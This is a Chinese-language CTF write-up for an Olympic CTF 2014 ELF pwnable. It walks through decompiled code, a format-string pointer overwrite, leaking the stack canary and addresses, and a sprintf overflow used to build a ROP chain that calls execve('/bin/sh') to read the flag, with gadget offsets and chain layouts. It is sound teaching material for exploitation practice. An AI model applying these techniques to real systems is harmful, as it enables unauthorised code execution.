這是一題 ELF pwnable 題,它包含了 format string 和 buffer overflow 漏洞。Stack 不能執行,而且一直沒辦法確定 library 的版本所以找不到 system(),就試試看 ROP 好了,然後因為不熟所以卡了很久 XD。不過賽後看到別人的 writeup 好像有掃到 library 版本之類的就是了,應該是努力掃一下就可以找到的東西。
先 decompile 一下,main function 大概長這樣:
int __cdecl main()
{
int result; // eax@1
int v1; // ecx@1
signed int i; // [sp+30h] [bp-110h]@2
size_t v3; // [sp+34h] [bp-10Ch]@3
void *v4; // [sp+38h] [bp-108h]@5
int v5; // [sp+3Ch] [bp-104h]@1
int v6; // [sp+13Ch] [bp-4h]@1
v6 = *MK_FP(__GS__, 20);
puts("pw?");
fflush(stdout);
read(0, &v5, 8u);
result = memcmp(&v5, "letmein\n", 8u);
if ( !result )
{
for ( i = 0; i <= 15; ++i )
{
puts("msg?");
fflush(stdout);
bzero(&v5, 0x100u);
read(0, &v5, 0x80u);
v3 = strlen((const char *)&v5);
if ( strchr((const char *)&v5, 'n') )
{
result = puts("i hate this symbol!");
break;
}
v4 = mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);
if ( v4 == (void *)-1 || !v4 )
{
perror("mmap");
exit(-1);
}
*((_DWORD *)v4 + 33) = 'ruoY';
*((_DWORD *)v4 + 34) = 'sem ';
*((_DWORD *)v4 + 35) = 'egas';
*((_DWORD *)v4 + 36) = 'd%( ';
*((_DWORD *)v4 + 37) = 'tyb ';
*((_DWORD *)v4 + 38) = ':)se';
*((_DWORD *)v4 + 39) = '\ns% ';
*((_BYTE *)v4 + 160) = 0;
*((_DWORD *)v4 + 32) = (char *)v4 + 132;
strncpy((char *)v4, (const char *)&v5, 0x80u);
*((_BYTE *)v4 + v3) = 0;
sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4);
puts((const char *)&v5);
fflush(stdout);
result = munmap(v4, 0x1000u);
}
}
if ( *MK_FP(__GS__, 20) != v6 )
_stack_chk_fail(v1, *MK_FP(__GS__, 20) ^ v6);
return result;
}
Format String 漏洞
首先 pw 要輸入 letmein,接下來它會 echo 輸入共 16 次。它會先在 0x11111000 mmap 一塊 memory (只能讀寫),
把輸入字串拷貝到 v4,並在 v4+132 組好輸出用的 format string,Format string 的位址會先存到 v4+32 再傳給 sprintf。
有漏洞的地方是用來截斷輸入字串的 *((_BYTE *)v4 + v3) = 0;
。由於先前的 read(0, &v5, 0x80u);
,輸入的字串最長可以到 128 byte,這樣一來剛好會蓋到 v4+32 的最低位,所以原本的 format string 位址是 0x11111084,現在被蓋掉後會變成 0x11111000,即為輸入字串被拷貝到的 v4。因此我們可以控制 format string,不過一開始檢查了輸入字串有沒有 'n' 這個字元,無法用 format string 進行寫入。
Buffer Overflow 漏洞
這裡的 sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4);
會造成 buffer overflow。雖然輸入長度被限制在 128 以下,但我們可以用像 %200c
這樣的方式造出任意長度的字串,所以 v5 是會被 overflow 的。
另外,雖然這個程式使用了 StackGuard,但我們可以利用 format string 漏洞把檢查值 v6 先讀出來,buffer overflow 時寫回同樣的值就行了。
Exploit
利用 format string 印出記憶體內容,我們可以定位出一些位址:
-
%82$x
是 main function 的 return address。這個在 libc 裡面,可以用來掃 library 的內容。 -
(%113$x)-0x9c
是 ebp, 由 argv 所指到的 argv[0] 的位址加上 offset 得到。 -
(%16$s...,ebp-0x14c)-0xbb8
這是程式被載入的基底位址,由 sprintf 的 return address得到。 後來發現其實這個和 main function 的 return address 之間的 offset 是固定的就是了。 - read() 的位址,等一下會用到。因為 main 裡有 call read(),很容易就可以算出來。
接下來要想辦法開個 shell,因為 stack 不能執行所以試試 ROP 看看。
首先找到需要的 ROPgadget,雖然 library 內的位址不太一樣,
但可以 dump 出一段後在本地找出相對的位址。
努力的找了一陣,找出 call execve() 需要用的 (eax,ebx,ecx,edx,int 0x80)
ret = b75514d3
ebp = 0xbfbe0f38
base = 0xb770c000
eax: ret + 0xab6c 58c390909090909090909090909090909083ec2c895c241ce8876e10
ebx: base + 0x711 5bc3
ecx edx: ret + 0x14aa8 595ac3909031c08b542404891a897204897a088d4c240465330d18
int 80: ret + 0x14db2 cd809058b877
接下來還有一件很麻煩的事情,就是輸入的字串中不可以用 \x00,所以我們先造了一個 read(),這樣可以直接把值讀到 stack 上造出 ROP chain。Call read() 的參數中還是會有 \x00,我們可以反著蓋回來,用字串結尾的 \x00 來填上。StackGuard的最低位也是 \x00,用一樣的方法補上。
read(0,addr,0x10101);
| read | retN | zero | addr |010101--
| read | retN |ffffff--| addr |01010100
| read | retN |ffff--00| addr |01010100
| read | retN |ff--0000| addr |01010100
| read | retN |--000000| addr |01010100
| read | retN |00000000| addr |01010100
接下來就可以 read() 任意的數據到 stack 上了:
ebp+
0c 0x0b execve -> eax
10 base+0x711 pop ebx; ret;
14 ebp +0x28 '/bin/sh' -> ebx
18 ret +0x14aa8 pop ecx; pop edx; ret;
1c ebp +0x30 argv -> ecx
20 ebp +0x3c env -> edx
24 ret +0x14db2 int 0x80;
28 '/bin/sh\x00'
30 ebp +0x28 argv[0]
34 ebp +0x40 argv[1]
38 ebp +0x44 argv[2]
3c 0x0
40 '-c\x00\x00'
44 'cat flag'
完整的 exploit 在這裡:
https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/pwn300.py